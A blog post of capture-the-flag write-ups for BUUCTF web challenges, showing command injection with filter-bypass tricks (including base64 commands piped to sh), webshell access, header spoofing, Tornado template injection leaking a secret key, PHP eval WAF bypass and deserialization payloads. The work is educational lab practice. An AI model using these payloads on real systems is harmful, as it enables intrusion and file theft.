当前位置: 首页 > news >正文

buuctf Web 下

9.[ACTF2020 新生赛]Exec

访问url:

http://cc3c6c27-e2df-4665-baba-1d9a32dc963e.node3.buuoj.cn/

首页如下:

在这里插入图片描述

直接ping ip可以得到结果

在这里插入图片描述

常见管道符

1、|(就是按位或),直接执行|后面的语句

127.0.0.1 | cat /flag

得到flag{546c33d7-aa0d-4a05-90b6-33adbd281b2b}

在这里插入图片描述

2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

abc || cat /flag

结果如下:

在这里插入图片描述

3、&(就是按位与),&前面和后面命令都要执行,无论前面真假

127.0.0.1 & cat /flag

结果如下:

在这里插入图片描述

4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

ping 127.0.0.1 && whoami

这里没试出来flag,用cmd试一下:

在这里插入图片描述

5、;(linux下有的,和&一样的作用)

127.0.0.1 ; cat /flag

结果如下:

在这里插入图片描述

10.[GXYCTF2019]Ping Ping Ping

访问url:

http://a98acfbb-1ead-49d9-92cf-1ee91c136948.node3.buuoj.cn/

首页如下:

在这里插入图片描述

打开链接,页面提示/?ip=

猜测本题的意思是让我们把这个当做变量上传参数。

先输入127.0.0.1

看来把我们上传的东西当做ip来执行ping操作。

在这里插入图片描述

构造payload:?ip=127.0.0.1;ls

在这里插入图片描述

出现了flag.php,那么简单的?

cat flag.php走起

?ip=127.0.0.1;cat flag.php

在这里插入图片描述

可以看到有过滤空格

过滤空格的解决办法如下

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 

试试:?ip=127.0.0.1|cat$IFS$1flag.php

在这里插入图片描述

有过滤flag字样的,那先看看index.php,看看过滤规则。

?ip=127.0.0.1;cat$IFS$1index.php

/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);echo "
";print_r($a);
}?>

解决办法

1)$a变量可以覆盖

构造?ip=127.0.0.1;a=g;cat$IFS1fla1fla1flaa.php

查看一下源码,看到flag{9c0ba8cc-cc60-43d2-8b87-e964e62fb538}

在这里插入图片描述

2)利用

?ip=127.0.0.1;cat$IFS$9`ls` 

将ls的结果当成cat的参数,那样就不用出现flag这个参数了。

结果也是在源码中。

在这里插入图片描述

3)利用sh,bash下编码

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

在这里插入图片描述

4)利用内联执行:

?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php

在这里插入图片描述

11.[极客大挑战 2019]Knife

访问url:

http://4b56ebf3-6873-4471-a9df-bc3fd9804168.node3.buuoj.cn/

首页如下:

在这里插入图片描述

给出的提示使用菜刀连接,密码为Syc

在这里插入图片描述

拿到flag{749bca20-c6f1-44b0-b941-7d4f062e8323}

在这里插入图片描述

或者在虚拟终端cat一下flag

在这里插入图片描述

12.[极客大挑战 2019]Http

访问url:

http://node3.buuoj.cn:25490/

首页如下:

在这里插入图片描述

先查看源代码,找到Secret.php

在这里插入图片描述

找到Secret.php文件,进入相应的页面

在这里插入图片描述

提示我们需要修改header头,把https://www.Sycsecret.com写进去,复制一个头文件,添加关键的一行

Referer:https://www.Sycsecret.com

请求包如下:

GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:25490
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://www.Sycsecret.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=c27a6db5-6635-4b96-9841-7e4d9fc76f0f.1itv3m9hNcEaFGPQCqcic-ppGHE
Connection: close

响应如下:

在这里插入图片描述

随后提示我们浏览器需要使用Syclover,向头里面添加一行,也就是修改一下User-Agent的内容

User-Agent:Syclover

请求包如下:

GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:25490
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://www.Sycsecret.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=c27a6db5-6635-4b96-9841-7e4d9fc76f0f.1itv3m9hNcEaFGPQCqcic-ppGHE
Connection: close

响应如下:

在这里插入图片描述

发现到现在还是没有出来,它说我们只能在本地访问,那么意思就是要我们使用127.0.0.1来访问,那么我们来添加一行

X-Forwarded-For: 127.0.0.1

请求包如下:

GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:25490
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://www.Sycsecret.com
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=c27a6db5-6635-4b96-9841-7e4d9fc76f0f.1itv3m9hNcEaFGPQCqcic-ppGHE
Connection: close

得到flag{cb30a0b2-0822-43a2-8964-b55bffa0afe6}

在这里插入图片描述

13.[护网杯 2018]easy_tornado

访问url:

http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/

打开页面发现三个链接依次打开

在这里插入图片描述

发现各自的文本

flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))

从上面三个信息我们的值flag在/fllllllllllllag文件,render是模板注入,经过测试发现过滤了

payload:
http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/error?msg={{1*2}}

如下:

在这里插入图片描述

render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用

Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。

然后就是这段代码md5(cookie_secret+md5(filename)) 我们根据之前打开文件的url参数分析这个就是filehash的值,想获得flag只要我们在url中传入/fllllllllllllag文件和filehash 经过这段代码处理的值即可关键就在cookie_secret,我们得想办法获得cookie_secret

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

通过模板注入方式我们可以构造

payload:
http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/error?msg={{handler.settings}}

成功拿到40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d

在这里插入图片描述

根据获得的cookie_secret构造md5(cookie_secret+md5(filename))这样的py或者手动cmd5去加密

python3版本

import hashlib
hash = hashlib.md5()filename='/fllllllllllllag'
cookie_secret="40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())

python2.7版本

#!-*-coding:utf-8 -*-
import hashlib
def md5(s):md5 = hashlib.md5()md5.update(s)print(md5.hexdigest())return md5.hexdigest()def filehash():filename = '/fllllllllllllag'cookie_secret = '40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d'print(cookie_secret + md5(filename))print(md5(cookie_secret + md5(filename)))
if __name__ == '__main__':filehash()

得到加密后的结果0e68f61488cca5aad0677cad0f8b8e8e

在这里插入图片描述

filename拼接我们的flag文件/fllllllllllllag将加密的结果拼接在filehash的后面得到最终payload:

http://27144826-6551-4fbe-8d5a-348db2ffd239.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=0e68f61488cca5aad0677cad0f8b8e8e

得到flag{44570899-653f-48eb-be17-2f57febc0580}

在这里插入图片描述

14.[RoarCTF 2019]Easy Calc

访问url:

http://node3.buuoj.cn:26897/

首页如下一个计算界面:

在这里插入图片描述

查看页面源代码

在这里插入图片描述

可以看见有个url提示

calc.php?num=“+encodeURIComponent($(”#content").val())

查看calc.php获取源码

http://node3.buuoj.cn:26897/calc.php

如下:

<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>

$(“#content”).val() 是什么意思:

获取id为content的HTML标签元素的值,是JQuery, $(“#content”)相当于document.getElementById(“content”); $(“#content”).val()相当于 document.getElementById(“content”).value;

但是无论怎么注入都是400,403和500,这里用的是一个新的点:PHP的字符串解析特性:PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)当waf不让你过的时候,php却可以让你过

进行绕waf,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析,那么我们就可以利用这个特点绕过waf。

num被限制了,但在num前面加个空格,waf就管不着了,因为waf只是限制了num,waf并没有限制’ num’,当php解析的时候,又会把’ num’前面的空格去掉在解析,利用这点来上传非法字符

构造payload来查看目录,用chr转化成ascll码进行绕过

这题存在高危漏洞,提示我们传递函数,拿flag

先扫描根目录下的所有文件,利用scandir()函数列出 参数目录 中的文件和目录

也就是scandir(“/”),但是“/”被过滤了,所以我们用chr(“47”)绕过

calc.php?%20num=1;var_dump(scandir(chr(47)))

漏洞证明:

在这里插入图片描述

发现flagg文件,然后去读取这个文件

calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到flag{cd181f15-8fca-45b2-9a03-1d881341575b}

在这里插入图片描述

另一种方法,HTTP走私攻击

hackbar用POST方式构造payload进行请求:

http://node3.buuoj.cn:26897/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) num=phpinfo()

漏洞利用:

在这里插入图片描述

构造请求包如下:

POST /calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))) HTTP/1.1
Host: node3.buuoj.cn:26897
Content-Length: 17
Content-Length: 17
Cache-Control: max-age=0
Origin: http://node3.buuoj.cn:26897
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://node3.buuoj.cn:26897/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=c27a6db5-6635-4b96-9841-7e4d9fc76f0f.1itv3m9hNcEaFGPQCqcic-ppGHE
Connection: closenum=phpinfo%28%29

注意

在这里插入图片描述

得到flag:

在这里插入图片描述

15.[极客大挑战 2019]PHP

访问url:

http://91af9009-330e-4d76-af66-be9057e8ad64.node3.buuoj.cn/

首页如下:

在这里插入图片描述

从题目名称上来看,是一道关于PHP的题目,然后首页又给出了提示,存在备份网站的习惯。

用御剑后台扫描工具进行扫描

在这里插入图片描述

访问url:

http://91af9009-330e-4d76-af66-be9057e8ad64.node3.buuoj.cn/www.zip

下载源文件

解压后包括以下文件:

index.php
flag.php
class.php
style.css

index.php

源码如下:

<!DOCTYPE html>
<head><meta charset="UTF-8"><title>I have a cat!</title><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"><link rel="stylesheet" href="style.css">
</head>
<style>#login{   position: absolute;   top: 50%;   left:50%;   margin: -150px 0 0 -150px;   width: 300px;   height: 300px;   }   h4{   font-size: 2em;   margin: 0.67em 0;   }
</style>
<body><div id="world"><div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯</div><div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!</div><div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;"><?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?></div><div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script  src="index.js"></script>
</body>
</html

其中包含了一段php代码,如下:

<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>

包含了class.php文件,并且以get方式获取select参数,然后将select的值进行反序列化(这里应该要用到序列化与反序列化)。

class.php源码,如下:

<?php
include 'flag.php';
error_reporting(0);
class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();            }}
}
?>

在这段代码的__destruct()方法中,发现了输出flag的代码,并且,执行条件是password100,username=‘admin’。

接下来,就有考虑如何调用__destruct()方法了,这就用到了index.php中的反序列操作。

可以将序列化的Name对象作为select参数的值提交。当执行反序列化之后,又恢复成Name对象,并且,在Name对象销毁时,会自动调用__destruct()方法。

当时这里用个问题,就是在执行__destruct()方法之前,可能会先执行wakeup()方法,并且在wakeup()会修改username的值。

因此,这里应该绕过wakeup()方法,避免wakeup()执行。

这里存在一个CVE漏洞:当成员属性数目大于实际数目时可绕过wakeup方法

接下来可以开始构造php序列化对象,这里有两种方法:

(1)通过php脚本,将serialize($a)函数序列化的结果输出。脚本生成php序列化对象参考代码如下:

<?php
class Name
{private $username = 'admin';private $password = '100';
}
$a = new Name();
#进行url编码,防止%00对应的不可打印字符在复制时丢失
echo urlencode(serialize($a));
#未编码的情况
//O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
//使用时将URL编码的结果中Name后面的2换成3或其他值
?>

运行后结果:

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

payload:

http://91af9009-330e-4d76-af66-be9057e8ad64.node3.buuoj.cn/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

得到flag{89b1bbec-caf4-40ef-9f7f-6aa54620c140}

在这里插入图片描述

(2)private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字

段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度

于是我们再构造一回pyload:

?select=O:4:“Name”:3:{s:14:“%00Name%00username”;s:5:“admin”;s:14:“%00Name%00password”;i:100;}

得到flag{89b1bbec-caf4-40ef-9f7f-6aa54620c140}

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirectFreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

相关文章:

buuctf Web 下

9.[ACTF2020 新生赛]Exec 访问url&#xff1a; http://cc3c6c27-e2df-4665-baba-1d9a32dc963e.node3.buuoj.cn/ 首页如下&#xff1a; 直接ping ip可以得到结果 常见管道符 1、|&#xff08;就是按位或&#xff09;&#xff0c;直接执行|后面的语句 127.0.0.1 | cat /flag…...

【项目精选】javaEE土地档案管理系统(源码+论文+视频)

技术&#xff1a;java、jsp、struts、spring、hibernate 数据库&#xff1a;oracle 集成开发工具&#xff1a;eclipse 点击下载源码 本土地项目管理系统在可行性研究的基础上&#xff0c;是为了进一步明确土地项目管理系统的软件需求&#xff0c;以便安排项目规划和进度&#x…...

JVM那些事——垃圾回收和内存分配

内存分配 默认情况下新生代和老年区的内存比例是1:2&#xff0c;新生代中Eden区和Survivor区的比例是8:1。 对象优先分配在Eden区。大对象直接进入老年区。通过-XX:PertenureizeThreshold参数设置临界值。长期存活的对象进入老年区。对象每熬过一次Minor GC&#xff0c;年龄1&…...

什么牌的运动耳机比较好、运动耳机排行榜10强

现在运动健身的潮流持续不下&#xff0c;而且人们长期坐于办公室办公&#xff0c;严重影响身体的健康&#xff0c;这时不论是去健身房锻炼&#xff0c;还是户外跑步都是非常必要的了&#xff0c;而蓝牙耳机作为运动必备的一款数码产品&#xff0c;更是受到了大家的青睐&#xf…...

华为OD机试题 - N 进制减法(JavaScript)

最近更新的博客 2023新华为OD机试题 - 斗地主(JavaScript)2023新华为OD机试题 - 箱子之形摆放(JavaScript)2023新华为OD机试题 - 考古学家(JavaScript)2023新华为OD机试题 - 相同数字的积木游戏 1(JavaScript)2023新华为OD机试题 - 最多等和不相交连续子序列(JavaScri…...

MyBatis 之三(查询操作 占位符#{} 与 ${}、like查询、resultMap、association、collection)

文章目录1. 参数占位符 #{} 和 ${} 的区别2. ${} 的优点3. SQL 注入问题4. like 查询5. 返回字典映射&#xff1a;resultMap6. 一对一查询&#xff1a;association7. 一对多查询&#xff1a;collection回顾一下&#xff0c;在上一篇 MyBatis 之二&#xff08;增、删、改操作&am…...

【云原生之Docker实战】使用Docker部署Web在线聊天室Rocket.Chat

【云原生之Docker实战】使用Docker部署Web在线聊天室Rocket.Chat 一、Rocket.Chat介绍二、检查本地系统环境1.检查系统版本2.检查docker版本3.检查docker状态4.检查docker compose版本三、下载Rocket.Chat镜像四、部署Rocket.Chat1.创建部署目录2.编辑docker-compose.yaml文件3…...

阿里一面:谈一下你对DDD的理解?2W字,帮你实现DDD自由

说在前面 在微服务的应用开发中&#xff0c;DDD 用得越来越普及。 在40岁老架构师 尼恩的读者交流群(50)中&#xff0c;DDD是一个非常、非常高频的交流话题。 最近&#xff0c;有小伙伴面试阿里时&#xff0c;遇到一个面试题&#xff1a; 谈谈你对DDD的理解&#xff1f; 小伙…...

嵌入式Linux入门级板卡的神经网络框架ncnn移植与测试-米尔i.MX6UL开发板

本篇测评由电子发烧友的优秀测评者“ALSET”提供。 米尔 MYD-Y6ULX-V2 开发板&#xff0c;基于 NXP i.MX6UL/i.MX6UL L处理器&#xff0c;该开发板被米尔称之为经典王牌产品。本次测试目标是在此开发板上进行神经网络框架ncnn的移植与测试开发&#xff0c;测试ncnn在此开发板上…...

扬帆优配|杠杆资金重仓股曝光,3只科创板股获多路资金青睐

到2月16日&#xff0c;科创板融资余额环比前一日削减1104.16万元&#xff0c;其间&#xff0c;23股融资余额环比添加超千万元&#xff0c;融资净买入居前的有晶科动力、诺诚健华、爱博医疗等。 到2月16日&#xff0c;市场融资余额算计1.48万亿元&#xff0c;较前一交易日削减27…...

资讯汇总230217

230217 22:48 【美联储理事鲍曼&#xff1a;美国通胀仍旧太高】美联储理事鲍曼表示&#xff0c;美国通胀仍旧太高&#xff1b;美国当前的经济数据不一致&#xff0c;不同寻常的低失业率是一个好迹象&#xff1b;让通胀回到目标还有很长的路要走&#xff1b;需要继续加息&#x…...

前置知识- 初值问题、ode 系列函数的用法、刚性 (stiff) 方程简介、高阶微分方程的降阶

1.1.4 龙格一库塔法 将向前欧拉法写成式 (1-37) 的形式, 可以看出它实际上利用了 f ( x , u ) f(x, u) f(x,u) 在 x n...

# AutoSar一文概览

1.什么是AutoSar ​ AUTOSAR全称为“AUTomotive Open System ARchitecture”&#xff0c;译为“汽车开放系统体系结构”&#xff1b;AUTOSAR是由 全球各大汽车整车厂、汽车零部件供应商、汽车电子软件系统公司联合建立的一套标准协议、软件架构。 2.为什么汽车行业要定义一个…...

分享88个HTML旅游交通模板,总有一款适合您

88个HTML旅游交通模板下载链接&#xff1a;https://pan.baidu.com/s/1pziNhgpC53h3KZy_a-aAFQ?pwdf99e 提取码&#xff1a;f99e Python采集代码下载链接&#xff1a;采集代码.zip - 蓝奏云 HTML5旅行公司旅行社网站模板 HTML5旅行公司旅行社网站模板是一款提供旅行服务的公司…...

C#中GDI+的矩形功能扩展

文章目录一、中心定位绘制图形1、矩形及椭圆中心定位2、圆的中心定位矩形二、圆角矩形三、收缩功能四、移动复制功能原文出处&#xff1a; https://haigear.blog.csdn.net/article/details/129060020GDI发展到GDI绘制函数中的参数往往都有矩形这个参数&#xff08;除绘制直线和…...

数字经济活动题

讨论活动1-1&#xff1a;数字化 经济数字化&#xff08;数据数字化&#xff0c;高速通信&#xff0c;大容量存储&#xff09;将如何影响您所居住的国家&#xff1f;在网上搜索新闻文章&#xff08;两三篇就够了&#xff09;&#xff0c;并讨论数字化如何影响经济、公共部…...

html 的相对路径和绝对路径

整篇文章是以 src 标签进行演示。 文章目录 一、相对路径 1、同级目录查找 2、上一级目录查找 3、下一级目录查找 二、绝对路径 一、相对路径 &#x1f475;相对路径&#xff1a;从当前目录开始查找。 1、同级目录查找 写法&#xff1a; 1.1.直接写文件名字&#xff1b;…...

selenium进行QQ空间登录

一、selenium简要说明 selenium是基于浏览器自动化的一个模块&#xff0c;它能便捷的获取网站中动态加载的数据&#xff0c;和实现模拟登录、爬虫等操作 二、实现流程 2.1 selenium前置操作 1. 安装selenium模块 pip3 install selenium 2. 下载浏览器内核程序 注意&#xff1…...

SpringCloud(二)负载均衡服务调用Ribbon、服务接口调用OpenFeign案例详解

五、负载均衡服务调用Ribbon 技术版本Spring Cloud版本Hoxton.SR1Spring Boot版本2.2.2RELEASECloud Alibaba版本2.1.0.RELEASE Spring Cloud Ribbon是基于Netflix Ribbon实现的一套客户端负载均衡的工具。 简单的说&#xff0c;Ribbon是Netflix发布的开源项目&#xff0c;主…...

大数据第一轮复习笔记(2)

Spark ./spark-submit --class com.kgc.myspark01.WordCount --master yarn --deploy-mode cluster /opt/myspark01-1.0-SNAPSHOT.jar 1.Client向YARN的ResourceManager申请启动Application Master。Client中创建SparkContext同时初始化中将创建DAGScheduler和TASKScheduler…...

3|射频识别技术|期末考试知识点|第3讲_RFID射频前端|重点题目

...

LeetCode 2108. 找出数组中的第一个回文字符串

给你一个字符串数组 words &#xff0c;找出并返回数组中的 第一个回文字符串 。如果不存在满足要求的字符串&#xff0c;返回一个 空字符串 “” 。 回文字符串 的定义为&#xff1a;如果一个字符串正着读和反着读一样&#xff0c;那么该字符串就是一个 回文字符串 。 示例 …...

第63章 SQL 快速参考教程

第63章 SQL 快速参考教程 SQL 语句语法AND / ORSELECT column_name(s) FROM table_name WHERE condition AND|OR conditionALTER TABLEALTER TABLE table_name ADD column_name datatypeor ALTER TABLE table_name DROP COLUMN column_name AS (alias)SELECT column_name AS …...

机器学习笔记

一 1.类型 有监督&#xff1a;分类、回归 无监督&#xff1a;聚类、降维 2.挑战&#xff1a; 过拟合&#xff1a;泛化能力弱 欠拟合&#xff1a;模型过于简单 二、 1.开发流程 数据收集->数据清洗->特征工程->数据建模 2.选择性能指标&#xff1a; 回归问题 均方根…...

L1-072 刮刮彩票

“刮刮彩票”是一款网络游戏里面的一个小游戏。如图所示&#xff1a; 每次游戏玩家会拿到一张彩票&#xff0c;上面会有 9 个数字&#xff0c;分别为数字 1 到数字 9&#xff0c;数字各不重复&#xff0c;并以 33 的“九宫格”形式排布在彩票上。 在游戏开始时能看见一个位置上…...

互联网摸鱼日报(2023-02-18)

互联网摸鱼日报&#xff08;2023-02-18&#xff09; InfoQ 热门话题 从用云焦虑到“深度云化”&#xff0c;新云原生时代带给我们哪些思考&#xff1f; 数据治理之需求层次 GitHub 更新 Copilot 以阻止不安全代码&#xff0c;并称其支持了超 60% 的 Java 开发者 数据库隔离…...

Spring 中经典的 9 种设计模式

1.简单工厂(非23种设计模式中的一种) 2.工厂方法 3.单例模式 4.适配器模式 5.装饰器模式 6.代理模式 7.观察者模式 8.策略模式 9.模版方法模式 Spring中涉及的设计模式总结 1.简单工厂(非23种设计模式中的一种) 实现方式&#xff1a; BeanFactory。Spring中的BeanFa…...

CentOS7突然没法上网【Network 中wired 图标消失】

参考文章(七种办法)&#xff1a;CentOS 7 右上角网络连接图标消失,设置网络有线消失解决办法 正常图标消失&#xff0c;先在 终端命令 依次执行以下命令 service NetworkManager stop service network restart service NetworkManager start 一、问题真烦 CentOS7图形化界面安装…...

SpringBoot3集成TDengine自适应裂变存储

前言 首先很遗憾的告诉大家&#xff0c;今天这篇分享要关注才可以看了。原因是穷啊&#xff0c;现在基本都是要人民币玩家了&#xff0c;就比如chatGPT、copilot&#xff0c;这些AI虽然都是可以很好的辅助编码&#xff0c;但是都是要钱。入驻CSDN有些年头了&#xff0c;中间有几…...

golang alpine 配置gstreamer开发环境

启动容器 sudo docker run -it --name golang -v $PWD:/home/leon -d golang:1.18-alpine3.17tar zxvf x86_64-linux-musl-cross.tgz mv x86_64-linux-musl-cross /usr/local/musl export PATH$PATH:/usr/local/musl/bin/:/usr/local/musl/x86_64-linux-musl/bin 下载gstre…...

网站上怎么做通栏的图片/app代理推广平台

一&#xff1a;8086引脚信号 1 数据和地址信号 2 读写控制信号&#xff1a;ALE&#xff08;地址锁存允许&#xff09;&#xff0c;M/IO*&#xff0c;WR*&#xff0c;RD*。 3 同步操作信号&#xff1a;READY。 二&#xff1a;8086总线时序 1 写总线周期 2…...

将网站制作成app/比较好的网络推广平台

https://blog.csdn.net/ylforever/article/details/79191182 转载于:https://www.cnblogs.com/2016-cxp/p/10915529.html...

深圳做网站公司多少钱/系统优化大师

《IEEE14节点电力网络分析》《高等电力网络分析》—— IEEE14节点电力网络分析专业班级&#xff1a; 电力工程1403班姓 名&#xff1a;学 号&#xff1a;同组成员&#xff1a;导 师&#xff1a; 刘润华二〇一四年十二月第1章 IEEE14简介1第2章 汇报内容总结32.1 用支路追加法建…...

wordpress文章 插件/微商推广哪家好

Internet 的50年口述历史第四部分&#xff0c;讲述了微软同 Netscape 的浏览器之争&#xff0c;同时讲述了微软最终如何在反托拉斯案中获胜&#xff0c;成功地将 IE 同 Windows 捆绑并获得历史性胜利。Internet 的50年口述历史的其它章节请参阅&#xff0c;第一部分&#xff0c…...

就业服务网站建设方案/如何在百度上推广自己

介绍template是微信小程序提供的模板&#xff0c;可以在模板中定义代码片段&#xff0c;然后在不同的地方调用。 简单使用定义template因为项目中可能会需要到不止一个template&#xff0c;所以最好新建一个文件夹来存放template相关的文件。注意这里只是单独的创建各个文件&am…...

电商网站有哪些使用场景/扬州seo推广

STP STP全称为“生成树协议”&#xff08;Spanning Tree Protocol&#xff09;&#xff0c;是一种网络协议&#xff0c;用于在交换机网络中防止网络回路产生&#xff0c;保证网络的稳定和可靠性。它通过在网络中选择一条主路径&#xff08;树形结构&#xff09;&#xff0c;并…...